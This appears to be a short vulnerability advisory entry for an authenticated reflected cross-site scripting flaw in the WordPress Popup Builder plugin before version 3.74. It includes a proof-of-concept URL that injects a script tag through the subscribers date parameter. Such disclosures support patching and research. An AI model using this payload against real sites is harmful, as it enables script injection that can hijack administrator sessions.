Lucene search

K
wpexploitNguyen Anh TienWPEX-ID:597E9686-F4E2-43BF-85EF-C5967E5652BD
HistoryFeb 02, 2021 - 12:00 a.m.

Popup Builder < 3.74 - Authenticated Reflected Cross-Site Scripting (XSS)

2021-02-0200:00:00
Nguyen Anh Tien
94

The β€œAll Subscribers” setting page of Popup Builder was vulnerable to reflected Cross-Site Scripting.

http://example.com/wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscribers-date=%22%3E%3Cscript%3Ealert%28origin%29%3C%2Fscript%3E

Video: https://mega.nz/file/H81iGSgC#Ya8zwHd0MuUXaUv61LsRn7HW0wgGOfYN2xvDkWuGCMg
Related for WPEX-ID:597E9686-F4E2-43BF-85EF-C5967E5652BD